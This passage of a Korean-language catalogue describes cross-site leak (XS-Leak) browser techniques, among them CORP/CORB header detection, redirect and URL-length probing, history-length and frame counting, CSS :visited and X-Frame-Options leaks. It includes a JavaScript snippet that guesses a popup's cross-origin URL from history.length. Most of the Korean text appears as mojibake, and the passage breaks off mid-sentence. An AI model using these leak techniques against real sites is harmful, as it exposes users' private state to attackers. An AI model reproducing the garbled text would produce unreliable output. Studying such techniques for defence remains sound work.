- Summary: Cross-Origin Resource Policy (CORP)๋ก ๋ณดํธ๋ ๋ฆฌ์์ค๋ ํ์ฉ๋์ง ์์ ์ถ์ฒ์์ fetchํ ๊ฒฝ์ฐ ์ค๋ฅ๋ฅผ ๋ฐ์์ํต๋๋ค.
- Code Example: https://xsinator.com/testing.html#CORP%20Leak
CORP ํค๋๋ ๋น๊ต์ ์๋ก์ด ์น ํ๋ซํผ ๋ณด์ ๊ธฐ๋ฅ์ผ๋ก, ์ค์ ๋๋ฉด ํด๋น ๋ฆฌ์์ค์ ๋ํ no-cors cross-origin ์์ฒญ์ ์ฐจ๋จํฉ๋๋ค. CORP๋ก ๋ณดํธ๋ ๋ฆฌ์์ค๋ fetch ์ ์ค๋ฅ๋ฅผ throwํ๋ฏ๋ก ํค๋์ ์กด์ฌ๋ฅผ ๊ฐ์งํ ์ ์์ต๋๋ค.
CORB
- Inclusion Methods: HTML Elements
- Detectable Difference: Headers
- More info: https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header
- Summary: CORB๋ ์์ฒญ์
nosniffํค๋๊ฐ ์กด์ฌํ๋์ง๋ฅผ ๊ณต๊ฒฉ์๊ฐ ๊ฐ์งํ ์ ์๊ฒ ํฉ๋๋ค. - Code Example: https://xsinator.com/testing.html#CORB%20Leak
๊ณต๊ฒฉ์ ๋ํ ์์ธํ ๋ด์ฉ์ ๋งํฌ๋ฅผ ํ์ธํ์ธ์.
CORS error on Origin Reflection misconfiguration
- Inclusion Methods: Fetch API
- Detectable Difference: Headers
- More info: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
- Summary: Origin ํค๋๊ฐ
Access-Control-Allow-Origin์ ๋ฐ์ฌ(reflect)๋๋ ๊ฒฝ์ฐ ๋ฆฌ์์ค๊ฐ ์ด๋ฏธ ์บ์์ ์๋์ง ํ์ธํ ์ ์์ต๋๋ค. - Code Example: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
๋ง์ฝ Origin header๊ฐ Access-Control-Allow-Origin์ ๋ฐ์ฌ๋๋ค๋ฉด ๊ณต๊ฒฉ์๋ ์ด ๋์์ ์
์ฉํด CORS ๋ชจ๋๋ก ๋ฆฌ์์ค๋ฅผ fetchํด๋ณผ ์ ์์ต๋๋ค. ์ค๋ฅ๊ฐ ๋ฐ์ํ์ง ์์ผ๋ฉด ๊ทธ๊ฒ์ ๋ฆฌ์์ค๊ฐ ์ ์์ ์ผ๋ก ์น์์ ๊ฐ์ ธ์์ง ๊ฒ์ ์๋ฏธํ๊ณ , ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ฉด ์บ์์์ ์ ๊ทผ๋ ๊ฒ์
๋๋ค(์ค๋ฅ๋ ์บ์๊ฐ ์๋ ๋๋ฉ์ธ์ ํ์ฉํ๋ CORS ํค๋๋ก ์๋ต์ ์ ์ฅํ๊ธฐ ๋๋ฌธ์ ๋ฐ์ํ๋ฉฐ ๊ณต๊ฒฉ์์ ๋๋ฉ์ธ์ผ๋ก๋ ํ์ฉ๋์ง ์์).
์ฐธ๊ณ ๋ก origin์ด ๋ฐ์ฌ๋์ง ์๊ณ ์์ผ๋์นด๋(Access-Control-Allow-Origin: *)๊ฐ ์ฌ์ฉ๋๋ ๊ฒฝ์ฐ ์ด ๊ธฐ๋ฒ์ ์๋ํ์ง ์์ต๋๋ค.
Readable Attributes Technique
Fetch Redirect
- Inclusion Methods: Fetch API
- Detectable Difference: Status Code
- More info: https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html
- Summary: GC์ SA๋ ๋ฆฌ๋๋ ์ ์ด ์๋ฃ๋ ํ ์๋ต์ type(opaqueredirect)์ ํ์ธํ ์ ์๊ฒ ํฉ๋๋ค.
- Code Example: https://xsinator.com/testing.html#Fetch%20Redirect%20Leak
redirect: "manual" ๋ฐ ๊ธฐํ ํ๋ผ๋ฏธํฐ๋ฅผ ์ฌ์ฉํด Fetch API๋ก ์์ฒญ์ ์ ์กํ๋ฉด response.type ์์ฑ์ ์ฝ์ ์ ์๊ณ , ๊ทธ ๊ฐ์ด opaqueredirect์ด๋ผ๋ฉด ํด๋น ์๋ต์ด ๋ฆฌ๋๋ ์
์ด์์์ ์ ์ ์์ต๋๋ค.
COOP
- Inclusion Methods: Pop-ups
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.4), https://xsleaks.dev/docs/attacks/window-references/
- Summary: Cross-Origin Opener Policy (COOP)๋ก ๋ณดํธ๋ ํ์ด์ง๋ cross-origin ์ํธ์์ฉ์ผ๋ก๋ถํฐ์ ์ ๊ทผ์ ์ฐจ๋จํฉ๋๋ค.
- Code Example: https://xsinator.com/testing.html#COOP%20Leak
๊ณต๊ฒฉ์๋ cross-origin HTTP ์๋ต์ COOP ํค๋๊ฐ ์กด์ฌํ๋์ง๋ฅผ ์ ์ถํ ์ ์์ต๋๋ค. COOP๋ ์ธ๋ถ ์ฌ์ดํธ๊ฐ ์์์ window ์ฐธ์กฐ๋ฅผ ์ป๋ ๊ฒ์ ๋ฐฉ์งํ๊ธฐ ์ํด ์ฌ์ฉ๋ฉ๋๋ค. ์ด ํค๋์ ์กด์ฌ๋ contentWindow ์ฐธ์กฐ์ ์ ๊ทผํ๋ ค ์๋ํด ํ๋ณํ ์ ์์ต๋๋ค. COOP๊ฐ ์กฐ๊ฑด๋ถ๋ก ์ ์ฉ๋๋ ๊ฒฝ์ฐ์๋ opener ์์ฑ์ด ์ ์ฉํ ์งํ๊ฐ ๋ฉ๋๋ค: COOP๊ฐ ํ์ฑํ๋๋ฉด opener๋ undefined์ด๊ณ , ์ ์ฉ๋์ง ์์ผ๋ฉด defined์
๋๋ค.
URL Max Length - Server Side
- Inclusion Methods: Fetch API, HTML Elements
- Detectable Difference: Status Code / Content
- More info: https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects
- Summary: ๋ฆฌ๋๋ ์ ์๋ต ๊ธธ์ด๊ฐ ๋๋ฌด ๊ธธ์ด ์๋ฒ๊ฐ ์ค๋ฅ๋ก ์๋ตํ๋ฉด ๊ทธ ์ฐจ์ด๋ฅผ ๊ฐ์งํ ์ ์์ต๋๋ค.
- Code Example: https://xsinator.com/testing.html#URL%20Max%20Length%20Leak
์๋ฒ ์ธก ๋ฆฌ๋๋ ์ ์ด ๋ฆฌ๋๋ ์ ๋ด๋ถ์ ์ฌ์ฉ์ ์ ๋ ฅ๊ณผ ์ถ๊ฐ ๋ฐ์ดํฐ๋ฅผ ์ฌ์ฉํ ๊ฒฝ์ฐ ์ด ๋์์ ๊ฐ์งํ ์ ์์ต๋๋ค. ์ผ๋ฐ์ ์ผ๋ก ์๋ฒ์๋ ์์ฒญ ๊ธธ์ด ์ ํ์ด ์๊ธฐ ๋๋ฌธ์ ๋๋ค. ๋ง์ฝ ์ฌ์ฉ์ ๋ฐ์ดํฐ๊ฐ ๊ทธ ํ๊ณ - 1 ์ ๋์ด๊ณ , ๋ฆฌ๋๋ ์ ์ด ๊ทธ ๋ฐ์ดํฐ๋ฅผ ์ฌ์ฉํด ๋ฌด์ธ๊ฐ๋ฅผ ์ถ๊ฐํ๋ฉด ์ค๋ฅ๊ฐ ๋ฐ์ํ ์ ์๊ณ ์ด๋ Error Events๋ก ๊ฐ์ง๋ฉ๋๋ค.
์ฌ์ฉ์์๊ฒ ์ฟ ํค๋ฅผ ์ค์ ํ ์ ์๋ค๋ฉด, ์ถฉ๋ถํ ์ฟ ํค๋ฅผ ์ค์ ํด ์ด ๊ณต๊ฒฉ์ ์ํํ ์๋ ์์ต๋๋ค (cookie bomb) โ ์ฌ๋ฐ๋ฅธ ์๋ต์ ์๋ต ํฌ๊ธฐ๊ฐ ์ฆ๊ฐํ์ฌ ์ค๋ฅ๊ฐ ๋ฐ์ํ๊ฒ ๋ฉ๋๋ค. ์ด ๊ฒฝ์ฐ ๋์ผ ์ถ์ฒ์์ ์์ฒญ์ ํธ๋ฆฌ๊ฑฐํ๋ฉด <script>๊ฐ ์๋์ผ๋ก ์ฟ ํค๋ฅผ ์ ์กํ๋ฏ๋ก(์ค๋ฅ๋ฅผ ํ์ธํ ์ ์์) ์ด๋ฅผ ๊ธฐ์ตํ์ธ์.
cookie bomb + XS-Search์ ์์๋ ์ด ๊ธ์ ์๋๋ ์๋ฃจ์
์์ ํ์ธํ ์ ์์ต๋๋ค: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended
์ด ํ์
์ ๊ณต๊ฒฉ์๋ ๋ณดํต SameSite=None ๋๋ ๋์ผ ์ปจํ
์คํธ์ ์์ด์ผ ํฉ๋๋ค.
URL Max Length - Client Side
- Inclusion Methods: Pop-ups
- Detectable Difference: Status Code / Content
- More info: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
- Summary: ๋ฆฌ๋๋ ์ ์๋ต์ ๊ธธ์ด๊ฐ ํด ๊ฒฝ์ฐ ์์ฒญ์ ์ฐจ์ด๊ฐ ์๊ธฐ๋ฏ๋ก ์ด๋ฅผ ํตํด ์ฐจ์ด๋ฅผ ๊ฐ์งํ ์ ์์ต๋๋ค.
- Code Example: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
Chromium ๋ฌธ์์ ๋ฐ๋ฅด๋ฉด, Chrome์ ์ต๋ URL ๊ธธ์ด๋ 2MB์ ๋๋ค.
์ผ๋ฐ์ ์ผ๋ก ์น ํ๋ซํผ์๋ URL ๊ธธ์ด์ ๋ํ ์ ํ์ด ์์ง๋ง(์ผ๋ฐ์ ์ผ๋ก 2^31์ด ํ๊ณ์ธ ๊ฒฝ์ฐ๊ฐ ๋ง์), Chrome์ ์ค์ฉ์ ์ธ ์ด์ ์ ํ๋ก์ธ์ค ๊ฐ ํต์ ์์์ DoS ๋ฌธ์ ๋ฐฉ์ง๋ฅผ ์ํด URL์ ์ต๋ 2MB๋ก ์ ํํฉ๋๋ค.
๋ฐ๋ผ์ ๋ฆฌ๋๋ ์
URL์ด ํ ๊ฒฝ์ฐ์ ๋ ๊ธธ๋ค๋ฉด, ๋ฆฌ๋๋ ์
์ 2MB๋ณด๋ค ํฐ URL๋ก ์ ๋ํด ๊ธธ์ด ์ ํ์ ๊ฑธ๋ฆฌ๊ฒ ํ ์ ์์ต๋๋ค. ์ด ๊ฒฝ์ฐ Chrome์ about:blank#blocked ํ์ด์ง๋ฅผ ํ์ํฉ๋๋ค.
๊ตฌ๋ถ ๊ฐ๋ฅํ ์ฐจ์ด์ ์, ๋ฆฌ๋๋ ์
์ด ์ ์์ ์ผ๋ก ์๋ฃ๋๋ฉด cross origin ์ ๋ณด๋ฅผ ์ ๊ทผํ๋ ค ํ ๋ window.origin์ด ์๋ฌ๋ฅผ ๋ฐ์์ํค์ง๋ง, ๋ง์ฝ ์ ํ์ ๊ฑธ๋ ค ๋ก๋๋ ํ์ด์ง๊ฐ **about:blank#blocked**์๋ค๋ฉด ์ฐฝ์ **origin**์ ๋ถ๋ชจ์ origin์ ์ ์งํ๋ฏ๋ก ์ ๊ทผ ๊ฐ๋ฅํ ์ ๋ณด๋ก ๋จ๋๋ค๋ ์ ์
๋๋ค.
ํ์ํ ๋ชจ๋ ์ถ๊ฐ ์ ๋ณด๋ ์ด๊ธฐ URL์ hash์ ์ถ๊ฐํด ๋ฆฌ๋๋ ์ ์ ์ฌ์ฉ๋๊ฒ ํ ์ ์์ต๋๋ค.
Max Redirects
- Inclusion Methods: Fetch API, Frames
- Detectable Difference: Status Code
- More info: https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76
- Summary: ๋ธ๋ผ์ฐ์ ์ ๋ฆฌ๋๋ ์ ํ๋๋ฅผ ์ฌ์ฉํด URL ๋ฆฌ๋๋ ์ ์ ๋ฐ์ ์ฌ๋ถ๋ฅผ ํ์ธํฉ๋๋ค.
- Code Example: https://xsinator.com/testing.html#Max%20Redirect%20Leak
๋ธ๋ผ์ฐ์ ๊ฐ ๋ฐ๋ผ๊ฐ ์ ์๋ ๋ฆฌ๋๋ ์ ์ ์ต๋ ์๊ฐ 20์ด๋ผ๋ฉด, ๊ณต๊ฒฉ์๋ ์์ ์ ํ์ด์ง๋ฅผ 19๋ฒ์ ๋ฆฌ๋๋ ์ ์ผ๋ก ๋ก๋ํ๋๋ก ์๋ํ ๋ค ์ต์ข ์ ์ผ๋ก ํผํด์๋ฅผ ํ ์คํธํ ํ์ด์ง๋ก ๋ณด๋ผ ์ ์์ต๋๋ค. ๋ง์ฝ ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ฉด, ํด๋น ํ์ด์ง๊ฐ ํผํด์๋ฅผ ๋ฆฌ๋๋ ์ ํ๋ ค๊ณ ์๋ํ ๊ฒ์ ๋๋ค.
History Length
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: Redirects
- More info: https://xsleaks.dev/docs/attacks/navigations/
- Summary: JavaScript ์ฝ๋๊ฐ ๋ธ๋ผ์ฐ์ ํ์คํ ๋ฆฌ๋ฅผ ์กฐ์ํ ์ ์์ผ๋ฉฐ length ์์ฑ์ผ๋ก ์ ๊ทผ ๊ฐ๋ฅํฉ๋๋ค.
- Code Example: https://xsinator.com/testing.html#History%20Length%20Leak
History API๋ JavaScript๊ฐ ๋ธ๋ผ์ฐ์ ํ์คํ ๋ฆฌ๋ฅผ ์กฐ์ํ ์ ์๊ฒ ํด ์ฌ์ฉ์๊ฐ ๋ฐฉ๋ฌธํ ํ์ด์ง๋ฅผ ์ ์ฅํฉ๋๋ค. ๊ณต๊ฒฉ์๋ ํฌํจ ๋ฐฉ๋ฒ์ผ๋ก length ์์ฑ์ ์ฌ์ฉํด JavaScript ๋ฐ HTML ๋ด๋น๊ฒ์ด์
์ ๊ฐ์งํ ์ ์์ต๋๋ค.history.length๋ฅผ ํ์ธํ๊ณ ์ฌ์ฉ์๋ฅผ ์ด๋ค ํ์ด์ง๋ก ์ด๋์ํจ ๋ค ๋ค์ ๊ฐ์ ์ถ์ฒ๋ก ๋๋๋ฆฌ๊ณ ๋์ **๋ณ๊ฒฝ๋ history.length**๋ฅผ ํ์ธํฉ๋๋ค.
History Length with same URL
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: If URL is the same as the guessed one
- Summary: ํ์คํ ๋ฆฌ ๊ธธ์ด๋ฅผ ์ ์ฉํด frame/pop-up์ ์์น๊ฐ ํน์ URL์ธ์ง ์ถ์ธกํ ์ ์์ต๋๋ค.
- Code Example: Below
๊ณต๊ฒฉ์๋ JavaScript๋ก frame/pop-up์ ์์น๋ฅผ ์ถ์ธกํ URL๋ก ์ค์ ํ ๋ค ์ฆ์ about:blank๋ก ๋ณ๊ฒฝํ ์ ์์ต๋๋ค. ๋ง์ฝ history ๊ธธ์ด๊ฐ ์ฆ๊ฐํ๋ค๋ฉด ๊ทธ URL์ด ์ฌ๋ฐ๋ฅธ ๊ฒ์ด๊ณ , ๋์ผํ URL์ด๋ฉด ๋ฆฌ๋ก๋๋์ง ์์ ํ์คํ ๋ฆฌ ๊ธธ์ด๊ฐ ์ฆ๊ฐํ์์ ์๋ฏธํฉ๋๋ค. ๋ฐ๋๋ก ์ฆ๊ฐํ์ง ์์๋ค๋ฉด ์ถ์ธกํ URL์ ๋ก๋ํ๋ ค ํ์ผ๋ ์ฆ์ about:blank๋ฅผ ๋ก๋ํ๊ธฐ ๋๋ฌธ์ ํ์คํ ๋ฆฌ ๊ธธ์ด๋ ์ฆ๊ฐํ์ง ์์์ต๋๋ค.
async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))
win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))
Frame Counting
- ํฌํจ ๋ฐฉ์: Frames, Pop-ups
- ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: Page Content
- ์์ธํ ์ ๋ณด: https://xsleaks.dev/docs/attacks/frame-counting/
- ์์ฝ: Evaluate the quantity of iframe elements by inspecting the
window.lengthproperty. - ์ฝ๋ ์์: https://xsinator.com/testing.html#Frame%20Count%20Leak
iframe ๋๋ window.open์ผ๋ก ์ด๋ฆฐ ์น์ ํ๋ ์ ์๋ฅผ ์ธ๋ ๊ฒ์ ํด๋น ํ์ด์ง์์์ ์ฌ์ฉ์ ์ํ๋ฅผ ์๋ณํ๋ ๋ฐ ๋์์ด ๋ ์ ์์ต๋๋ค.
๋์ฑ์ด ํ์ด์ง๊ฐ ํญ์ ๋์ผํ ์์ ํ๋ ์์ ๊ฐ์ง๊ณ ์๋ค๋ฉด, ํ๋ ์ ์๋ฅผ ์ง์์ ์ผ๋ก ํ์ธํ์ฌ ํจํด์ ์๋ณํ๊ณ ์ ๋ณด๊ฐ leak๋ ๊ฐ๋ฅ์ฑ์ ๋ฐ๊ฒฌํ ์ ์์ต๋๋ค.
์ด ๊ธฐ๋ฒ์ ํ ์๋ก, Chrome์์๋ ๋ด๋ถ์ ์ผ๋ก embed๊ฐ ์ฌ์ฉ๋๊ธฐ ๋๋ฌธ์ PDF๋ฅผ frame counting์ผ๋ก ๊ฐ์งํ ์ ์์ต๋๋ค. zoom, view, page, toolbar์ ๊ฐ์ ์ฝํ
์ธ ๋ฅผ ์ด๋ ์ ๋ ์ ์ดํ ์ ์๋ Open URL Parameters๊ฐ ์์ด ์ด ๊ธฐ๋ฒ์ด ํฅ๋ฏธ๋ก์ธ ์ ์์ต๋๋ค.
HTMLElements
- ํฌํจ ๋ฐฉ์: HTML Elements
- ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: Page Content
- ์์ธํ ์ ๋ณด: https://xsleaks.dev/docs/attacks/element-leaks/
- ์์ฝ: Read the leaked value to distinguish between 2 possible states
- ์ฝ๋ ์์: https://xsleaks.dev/docs/attacks/element-leaks/, https://xsinator.com/testing.html#Media%20Dimensions%20Leak, https://xsinator.com/testing.html#Media%20Duration%20Leak
HTML ์์๋ฅผ ํตํ ์ ๋ณด ์ ์ถ์ ์น ๋ณด์์์ ์ฐ๋ ค๋๋ ์ ์ ๋๋ค. ํนํ ์ฌ์ฉ์ ์ ๋ณด์ ๋ฐ๋ผ ๋์ ์ผ๋ก ๋ฏธ๋์ด ํ์ผ์ด ์์ฑ๋๊ฑฐ๋ ์ํฐ๋งํฌ๊ฐ ์ถ๊ฐ๋์ด ๋ฏธ๋์ด ํฌ๊ธฐ๊ฐ ๋ฌ๋ผ์ง๋ ๊ฒฝ์ฐ, ๊ณต๊ฒฉ์๋ ํน์ HTML ์์๊ฐ ๋ ธ์ถํ๋ ์ ๋ณด๋ฅผ ๋ถ์ํด ๊ฐ๋ฅํ ์ํ๋ฅผ ๊ตฌ๋ถํ ์ ์์ต๋๋ค.
Information Exposed by HTML Elements
- HTMLMediaElement: ์ด ์์๋ ๋ฏธ๋์ด์
duration๊ณผbuffered์๊ฐ์ ๋ ธ์ถํ๋ฉฐ, ํด๋น API๋ฅผ ํตํด ์ ๊ทผํ ์ ์์ต๋๋ค. Read more about HTMLMediaElement - HTMLVideoElement:
videoHeight์videoWidth๋ฅผ ๋ ธ์ถํฉ๋๋ค. ์ผ๋ถ ๋ธ๋ผ์ฐ์ ์์๋webkitVideoDecodedByteCount,webkitAudioDecodedByteCount,webkitDecodedFrameCount์ ๊ฐ์ ์ถ๊ฐ ์์ฑ์ด ์ ๊ณต๋์ด ๋ฏธ๋์ด ์ฝํ ์ธ ์ ๊ดํ ๋ ์์ธํ ์ ๋ณด๋ฅผ ์ ๊ณตํฉ๋๋ค. Read more about HTMLVideoElement - getVideoPlaybackQuality(): ์ด ํจ์๋
totalVideoFrames๋ฅผ ํฌํจํ ๋น๋์ค ์ฌ์ ํ์ง์ ๋ํ ์ธ๋ถ ์ ๋ณด๋ฅผ ์ ๊ณตํ๋ฉฐ, ์ฒ๋ฆฌ๋ ๋น๋์ค ๋ฐ์ดํฐ์ ์์ ๋ํ๋ผ ์ ์์ต๋๋ค. Read more about getVideoPlaybackQuality() - HTMLImageElement: ์ด ์์๋ ์ด๋ฏธ์ง์
height์width๋ฅผ ๋์ถํฉ๋๋ค. ๋ค๋ง ์ด๋ฏธ์ง๊ฐ ์ ํจํ์ง ์์ ๊ฒฝ์ฐ ์ด๋ฌํ ์์ฑ์ 0์ ๋ฐํํ๊ณ ,image.decode()ํจ์๋ ๊ฑฐ๋ถ๋์ด ์ด๋ฏธ์ง ๋ก๋ ์คํจ๋ฅผ ๋ํ๋ ๋๋ค. Read more about HTMLImageElement
CSS Property
- ํฌํจ ๋ฐฉ์: HTML Elements
- ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: Page Content
- ์์ธํ ์ ๋ณด: https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle, https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html
- ์์ฝ: ์ฌ์ฉ์์ ์ํ ๋๋ ๊ถํ๊ณผ ์ฐ๊ด๋ ์น์ฌ์ดํธ ์คํ์ผ์ ๋ณํ๋ฅผ ์๋ณํฉ๋๋ค.
- ์ฝ๋ ์์: https://xsinator.com/testing.html#CSS%20Property%20Leak
์น ์ ํ๋ฆฌ์ผ์ด์
์ ์ฌ์ฉ์์ ์ํ์ ๋ฐ๋ผ ์น์ฌ์ดํธ ์คํ์ผ์ ๋ณ๊ฒฝํ ์ ์์ต๋๋ค. Cross-origin CSS ํ์ผ์ ๊ณต๊ฒฉ์ ํ์ด์ง์ HTML link element๋ก ํฌํจ๋ ์ ์์ผ๋ฉฐ, ๊ท์น๋ค์ ๊ณต๊ฒฉ์ ํ์ด์ง์ ์ ์ฉ๋ฉ๋๋ค. ํ์ด์ง๊ฐ ์ด๋ฌํ ๊ท์น์ ๋์ ์ผ๋ก ๋ณ๊ฒฝํ๋ฉด ๊ณต๊ฒฉ์๋ ์ฌ์ฉ์ ์ํ์ ๋ฐ๋ผ ์ด๋ฌํ ์ฐจ์ด์ ์ ๊ฐ์งํ ์ ์์ต๋๋ค.
leak ๊ธฐ๋ฒ์ผ๋ก ๊ณต๊ฒฉ์๋ ํน์ HTML ์์์ CSS ์์ฑ์ ์ฝ๊ธฐ ์ํด window.getComputedStyle ๋ฉ์๋๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค. ๊ฒฐ๊ณผ์ ์ผ๋ก, ์ํฅ์ ๋ฐ๋ ์์์ ์์ฑ ์ด๋ฆ์ ์๊ณ ์๋ค๋ฉด ๊ณต๊ฒฉ์๋ ์์์ CSS ์์ฑ์ ์ฝ์ ์ ์์ต๋๋ค.
CSS History
- ํฌํจ ๋ฐฉ์: HTML Elements
- ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: Page Content
- ์์ธํ ์ ๋ณด: https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history
- ์์ฝ:
:visited์คํ์ผ์ด URL์ ์ ์ฉ๋์๋์ง(์ด๋ฏธ ๋ฐฉ๋ฌธํ๋์ง)๋ฅผ ๊ฐ์งํฉ๋๋ค. - ์ฝ๋ ์์: http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html
Tip
According to this, this is not working in headless Chrome.
CSS :visited ์ ํ์๋ ์ฌ์ฉ์๊ฐ ์ด์ ์ ๋ฐฉ๋ฌธํ URL์ ๋ํด ์คํ์ผ์ ๋ค๋ฅด๊ฒ ์ ์ฉํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค. ๊ณผ๊ฑฐ์๋ getComputedStyle() ๋ฉ์๋๋ฅผ ์ฌ์ฉํด ์ด๋ฌํ ์คํ์ผ ์ฐจ์ด๋ฅผ ์๋ณํ ์ ์์์ต๋๋ค. ํ์ง๋ง ์ต์ ๋ธ๋ผ์ฐ์ ๋ค์ ๋งํฌ์ ์ํ๋ฅผ ๋๋ฌ๋ด์ง ์๋๋ก ๋ณด์ ์กฐ์น๋ฅผ ๋์
ํ์ต๋๋ค. ์ฌ๊ธฐ์๋ ํญ์ ๋งํฌ๊ฐ ๋ฐฉ๋ฌธ๋ ๊ฒ์ฒ๋ผ ๊ณ์ฐ๋ ์คํ์ผ์ ๋ฐํํ๊ณ :visited ์ ํ์์ ์ ์ฉ ๊ฐ๋ฅํ ์คํ์ผ์ ์ ํํ๋ ์กฐ์น๊ฐ ํฌํจ๋ฉ๋๋ค.
์ด๋ฌํ ์ ํ์๋ ๋ถ๊ตฌํ๊ณ link์ ๋ฐฉ๋ฌธ ์ฌ๋ถ๋ฅผ ๊ฐ์ ์ ์ผ๋ก ํ๋ณํ๋ ๋ฐฉ๋ฒ์ ์กด์ฌํฉ๋๋ค. ํ ๊ธฐ๋ฒ์ ์ฌ์ฉ์๋ฅผ CSS ์ํฅ์ ๋ฐ๋ ์์ญ๊ณผ ์ํธ์์ฉํ๋๋ก ์ ๋ํ๋ ๊ฒ์ผ๋ก, ํนํ mix-blend-mode ์์ฑ์ ์ด์ฉํฉ๋๋ค. ์ด ์์ฑ์ ์์๋ฅผ ๋ฐฐ๊ฒฝ๊ณผ ๋ธ๋ ๋ฉํ ์ ์๊ฒ ํ์ฌ ์ฌ์ฉ์ ์ํธ์์ฉ์ ๋ฐ๋ผ ๋ฐฉ๋ฌธ ์ํ๋ฅผ ๋๋ฌ๋ผ ์ ์์ต๋๋ค.
๋ํ, ๋ ๋๋ง ํ์ด๋ฐ์ ์ ์ฉํด ์ฌ์ฉ์ ์ํธ์์ฉ ์์ด ๋ฐฉ๋ฌธ ์ฌ๋ถ๋ฅผ ๊ฐ์งํ ์ ์์ต๋๋ค. ๋ธ๋ผ์ฐ์ ๊ฐ ๋ฐฉ๋ฌธํ ๋งํฌ์ ๋ฐฉ๋ฌธํ์ง ์์ ๋งํฌ๋ฅผ ๋ค๋ฅด๊ฒ ๋ ๋๋งํ๋ฉด ๋ ๋๋ง์ ์ธก์ ๊ฐ๋ฅํ ์๊ฐ ์ฐจ์ด๊ฐ ๋ฐ์ํ ์ ์์ต๋๋ค. Chromium ๋ฒ๊ทธ ๋ฆฌํฌํธ์ ์ธ๊ธ๋ PoC๋ ์ด ํ์ด๋ฐ ์ฐจ์ด๋ฅผ ์ฆํญํ๊ธฐ ์ํด ์ฌ๋ฌ ๋งํฌ๋ฅผ ์ฌ์ฉํ์ฌ ๋ฐฉ๋ฌธ ์ํ๋ฅผ timing ๋ถ์์ผ๋ก ๊ฐ์งํ๋ ๋ฐฉ๋ฒ์ ๋ณด์ฌ์ค๋๋ค.
์ด ์์ฑ๊ณผ ๋ฐฉ๋ฒ๋ค์ ๋ํ ์์ธํ ์ ๋ณด๋ ๋ค์ ๋ฌธ์๋ฅผ ์ฐธ๊ณ ํ์ธ์:
:visited: MDN DocumentationgetComputedStyle(): MDN Documentationmix-blend-mode: MDN Documentation
ContentDocument X-Frame Leak
- ํฌํจ ๋ฐฉ์: Frames
- ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: Headers
- ์์ธํ ์ ๋ณด: https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf
- ์์ฝ: In Google Chrome, a dedicated error page is displayed when a page is blocked from being embedded on a cross-origin site due to X-Frame-Options restrictions.
- ์ฝ๋ ์์: https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak
Chrome์์๋ X-Frame-Options ํค๋๊ฐ โdenyโ ๋๋ โsame-originโ์ผ๋ก ์ค์ ๋ ํ์ด์ง๊ฐ object๋ก ํฌํจ๋์์ ๋ ์๋ฌ ํ์ด์ง๊ฐ ํ์๋ฉ๋๋ค. Chrome์ iframe์ด๋ ๋ค๋ฅธ ๋ธ๋ผ์ฐ์ ์ ๋ฌ๋ฆฌ ์ด object์ contentDocument ์์ฑ์ ๋ํด null ๋์ ๋น ๋ฌธ์ ๊ฐ์ฒด๋ฅผ ๋ฐํํ๋ ๋
ํนํ ๋์์ ๋ณด์
๋๋ค. ๊ณต๊ฒฉ์๋ ์ด ๋น ๋ฌธ์๋ฅผ ๊ฐ์งํ์ฌ ์ฌ์ฉ์์ ์ํ์ ๋ํ ์ ๋ณด๋ฅผ ์ ์ถํ ์ ์์ต๋๋ค. ๊ฐ๋ฐ์๊ฐ X-Frame-Options ํค๋ ์ค์ ์ ์ผ๊ด๋๊ฒ ์ ์ฉํ์ง ์์ ์๋ฌ ํ์ด์ง๋ฅผ ๋์น๋ ๊ฒฝ์ฐ๊ฐ ์ข
์ข
์๊ธฐ ๋๋ฌธ์ ์ฃผ์์ ์ผ๊ด๋ ๋ณด์ ํค๋ ์ ์ฉ์ด ์ค์ํฉ๋๋ค.
Download Detection
- ํฌํจ ๋ฐฉ์: Frames, Pop-ups
- ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: Headers
- ์์ธํ ์ ๋ณด: https://xsleaks.dev/docs/attacks/navigations/#download-trigger
- ์์ฝ: An attacker can discern file downloads by leveraging iframes; continued accessibility of the iframe implies successful file download.
- ์ฝ๋ ์์: https://xsleaks.dev/docs/attacks/navigations/#download-bar
Content-Disposition ํค๋ ์ค Content-Disposition: attachment๋ ๋ธ๋ผ์ฐ์ ์๊ฒ ์ฝํ
